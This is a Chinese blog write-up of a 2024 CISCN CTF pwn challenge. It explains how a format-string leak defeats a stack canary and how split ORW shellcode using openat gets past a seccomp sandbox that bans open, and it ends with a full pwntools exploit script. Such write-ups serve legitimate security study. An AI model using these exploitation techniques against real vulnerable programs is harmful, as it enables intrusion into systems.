【PWN · ret2shellcode | sandbox-bypass | 格式化字符串】[2024CISCN · 华东北赛区]pwn1_

一道栈+ret2shellcode+sandbox(seccomp)+格式化字符串的题目


前言

ret2shellcode,已经不是简单的放到栈上、ret这样一个简单的过程。套一层seccomp的沙箱,打ORW又遇到open受限等等,考虑的蛮多。过程中收获最多的可以说是汇编shellcode手动编写时的一些心得,还是跟着返璞归真师傅wp复现,再次感谢!


一、题目分析

没有给libc,栈可执行、存在Canary

开启了沙箱,禁用了open函数

IDA分析,可以明显看到栈溢出、格式化字符串,且均可以反复触发

 格式化字符串显然是用来泄露绕过canary的,栈溢出+NX没开又显然是用来ret2shellcode的

二、解题

先写个交互函数方便交互

def setName(name):
    io.recvuntil(b'2: get name')
    io.sendline(b'1')
    io.sendlineafter(b'->set name',name)

def getName(flag=True):
    io.recvuntil(b'2: get name')
    if flag:
        io.sendline(b'2')
        io.recvuntil(b'->get name')
    else:
        io.sendline(b'123')

1.格式化字符串泄露Canary 

常规套路了,其实不必在此赘述

offset=8

然后脚本挂动态调试,看canary(泄露canary)、rbp(实质上是获取buf的地址,准备布局shellcode)是第几个参数的位置。

offset=8
payload1=(f'%{offset+0x50//8-1}$p--%{offset+0x50//8}$p').encode('utf-8')
setName(payload1)
input('Check')
getName()
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
success(hex(canary))
io.recvuntil(b'--0x')
rbp=int(io.recv(12).decode('utf-8'),16)
buf=rbp-0x60
success(hex(rbp))
success(hex(buf))

 2.ret2shellcode

2.1 openat代替open

        由于开了沙箱,系统调用受限,orw的打法无疑,但是open被禁需要替换。查阅资料后发现openat可以一定程度上等价于open:

#open - flags
/*
O_ACCMODE       00000003
O_RDONLY        00000000
O_WRONLY        00000001
O_RDWR          00000002
O_CREAT         00000040
O_EXCL          00000080
O_NOCTTY        00000100
O_TRUNC         00000200
O_APPEND        00000400
O_NONBLOCK      00000800
O_DSYNC         00001000
FASYNC          00002000
O_NOFOLLOW      00020000
*/

 2.2 shellcode的布局 

之前已经知道能直接布局shellcode利用的buf空间为0x48,直接写长度大大超过

# shellcode 但是太大了
# shellcode=asm('''
#               mov rax,0x67616c662f2e; //./flag
#               push rax
#               ; //openat(-100,'./flag',O_RDONLY)
#               mov rdi,-100
#               mov rsi,rsp
#               xor rdx,rdx
#               mov rax,257
#               syscall
#               ; //read(3,target_address,0x50)
#               mov rdi,3
#               mov rsi,{}
#               mov rdx,0x50
#               xor rax,rax
#               syscall
#               ; //write(1,target_address,0x50)
#               mov rdi,1
#               mov rsi,{}
#               mov rdx,0x50
#               add eax,1
#               syscall
#               '''.format(xxx,xxx))

所以得想办法跨过canary、rbp、ret,构造shellcode

# shellcode分割开
shellcode=asm('''
              mov rax,0x67616c662f2e; //./flag
              push rax
              ; //openat(-100,'./flag',O_RDONLY)
              mov rdi,-100
              mov rsi,rsp
              xor rdx,rdx
              mov rax,257
              syscall
              ; //read(3,target_address,0x50)
              mov rdi,rax
              mov rsi,{}
              mov rdx,0x20
              xor rax,rax
              syscall
              mov rax,{}
              push rax
              ret
              '''.format(buf+0x80,buf+0x60))
shellcode=shellcode.ljust(0x48,b'\x00')
shellcode+=p64(canary)
shellcode+=p64(0)+p64(buf)
shellcode+=asm('''
              ; //write(1,target_address,0x50)
              mov rdi,1
              mov rsi,{}
              mov rdx,0x50
              mov eax,1
              syscall
'''.format(buf+0x80))

 比较妙的几个点是

  1. 通过 mov register,addr;push register;ret的方式实现了定向跳转
  2. 将flag远远写到后面的栈空间,避免对shellcode干扰

三、完整exp

from pwn import *

context(arch='amd64',log_level='debug')

io=process('./pwn1_')
gdb.attach(io);input()
def setName(name):
    io.recvuntil(b'2: get name')
    io.sendline(b'1')
    io.sendlineafter(b'->set name',name)

def getName(flag=True):
    io.recvuntil(b'2: get name')
    if flag:
        io.sendline(b'2')
        io.recvuntil(b'->get name')
    else:
        io.sendline(b'123')
    
offset=8
payload1=(f'%{offset+0x50//8-1}$p--%{offset+0x50//8}$p').encode('utf-8')
setName(payload1)
input('Check')
getName()
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
success(hex(canary))
io.recvuntil(b'--0x')
rbp=int(io.recv(12).decode('utf-8'),16)
buf=rbp-0x60
success(hex(rbp))
success(hex(buf))

# shellcode 但是太大了
# shellcode=asm('''
#               mov rax,0x67616c662f2e; //./flag
#               push rax
#               ; //openat(-100,'./flag',O_RDONLY)
#               mov rdi,-100
#               mov rsi,rsp
#               xor rdx,rdx
#               mov rax,257
#               syscall
#               ; //read(3,target_address,0x50)
#               mov rdi,3
#               mov rsi,{}
#               mov rdx,0x50
#               xor rax,rax
#               syscall
#               ; //write(1,target_address,0x50)
#               mov rdi,1
#               mov rsi,{}
#               mov rdx,0x50
#               add eax,1
#               syscall
#               '''.format(xxx,xxx))

# shellcode分割开
shellcode=asm('''
              mov rax,0x67616c662f2e; //./flag
              push rax
              ; //openat(-100,'./flag',O_RDONLY)
              mov rdi,-100
              mov rsi,rsp
              xor rdx,rdx
              mov rax,257
              syscall
              ; //read(3,target_address,0x50)
              mov rdi,rax
              mov rsi,{}
              mov rdx,0x20
              xor rax,rax
              syscall
              mov rax,{}
              push rax
              ret
              '''.format(buf+0x80,buf+0x60))
shellcode=shellcode.ljust(0x48,b'\x00')
shellcode+=p64(canary)
shellcode+=p64(0)+p64(buf)
shellcode+=asm('''
              ; //write(1,target_address,0x50)
              mov rdi,1
              mov rsi,{}
              mov rdx,0x50
              mov eax,1
              syscall
'''.format(buf+0x80))


setName(shellcode)
input('check')
getName(False)
io.interactive()


总结

做的时候这不会那不会,做完之后写博客,感觉很多都没必要写。。。菜就多练。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值